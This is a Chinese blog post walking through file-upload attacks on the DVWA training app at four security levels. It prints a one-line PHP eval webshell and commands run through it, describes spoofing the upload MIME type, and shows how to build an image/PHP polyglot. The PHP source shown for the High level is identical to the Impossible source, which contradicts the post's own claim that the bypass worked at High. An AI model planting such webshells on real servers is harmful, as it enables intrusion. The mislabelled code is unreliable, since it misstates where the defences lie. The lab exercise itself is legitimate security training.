DVWA练习之File Upload
本博客将记录在web安全问题中一种常见的漏洞——“文件上传”漏洞的实践演练。首先阐述文件上传漏洞的概念,原理,最后展示基于DVWA的各种等级的文件上传漏洞。
文件上传
概念:通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限。
DVWA文件上传
DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。
部署好DVWA后,登陆DVWA首先选择练习的难度等级。DVWA中共分为四种安全级别:Low,Medium,High,Impossible。然后选择练习的模块,这里我们选择File Upload(文件上传)模块。
Low等级
选好等级后,进入File Upload(文件上传)模块。
首先进行正常操作。先上传一张图片。
显示上传成功,并且给出了一个相对路径../../hackable/uploads/
我们将其与页面的URL进行拼接得到http://127.0.0.1/DVWA-1.9/vulnerabilities/upload/../../hackable/uploads/
然后../
与前面的目录进行消除最后得到一个完整的路径为http://127.0.0.1/DVWA-1.9/hackable/uploads/
。
我们尝试访问http://127.0.0.1/DVWA-1.9/hackable/uploads/timg.jpg
。
说明上传图片成功且我们得到的路径是正确的!
那我们在尝试一下不正常的操作,新建一个phpinfo.php文件并上传。
发现同样上传成功,我们在访问一下http://127.0.0.1/DVWA-1.9/hackable/uploads/phpinfo.php
文件同样执行成功了!这就说明存在文件上传漏洞了。黑客不会只是简单的上传一个phpinfo就满足的。他们往往会上传webshell来达到他们的目的。这里有一个最简单的webshell:
<?php
@eval($_GET['cmd']);
?>
新建一个cmd.php文件并上传。就可以实现很多不同的命令了。
显示当前目录的物理路径cmd.php?cmd=system('dir');
查看文件cmd.php?cmd=system('type D:\\phpStudy\\WWW\\DVWA-1.9\\php.ini')
Medium等级
我们同样上传cmd.php文件可是结果如下
页面提示我们上传的不是图片!遇到这种情况我们可以抓包进行研究。
我们分别上传一个正常的图片timg.jpg以及cmd.php,抓包进行对比。
我们发现两者之间最大的不同有三处:1.文件名,2.文件类型,3.文件内容。
我们尝试修改文件类型。
然后重新发生并查看响应包,发现上传成功!
我们可以查看源代码进行验证。
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
发现Medium级别的代码对上传文件的类型、大小做了限制,要求文件类型必须是jpeg或者png,大小不能超过100000B(约为97.6KB)。也验证了我们之前尝试的结果是正确的。
High等级
我们依次尝试Low和Medium等级的方法都没用那我们就继续抓包尝试,之前有说数据包有三点不同。我们依次尝试看限制内容是说明。最后我们发现限制的是文件后缀名和文件内容。只有后缀名为JPG或PGN的以及内容有相应的图片头信息才能上传成功。
这里我们可以人工构造一个‘内涵图’来绕过检查!
在cmd命令行中输入copy timg.jpg/b+cmd.php/a hack.jpg
就可以生成一个名为hack.jpg的新图片,且图片信息的末尾就是cmd.php的内容
而且上传成功!
我们查看源代码进行验证:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
strrpos(string,find,start)该函数返回字符串find在另一字符串string中最后一次出现的位置,如果没有找到字符串则返回false,可选参数start规定在何处开始搜索。
getimagesize(string filename)该函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。
可以看到,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”.jpg”、”.jpeg” 、”*.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。
Impossible等级
我们直接查看代码:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
in_get(varname)该函数返回相应选项的值
imagecreatefromjpeg ( filename )该函数返回图片文件的图像标识,失败返回false
imagejpeg ( image , filename , quality)该函数从image图像以filename为文件名创建一个JPEG图像,可选参数quality,范围从 0(最差质量,文件更小)到 100(最佳质量,文件最大)。
imagedestroy( img )该函数销毁图像资源
发现Impossible级别的代码对上传文件进行了重命名(为md5值,导致构造’内涵图‘无法绕过过滤规则),加入Anti-CSRF token防护CSRF攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。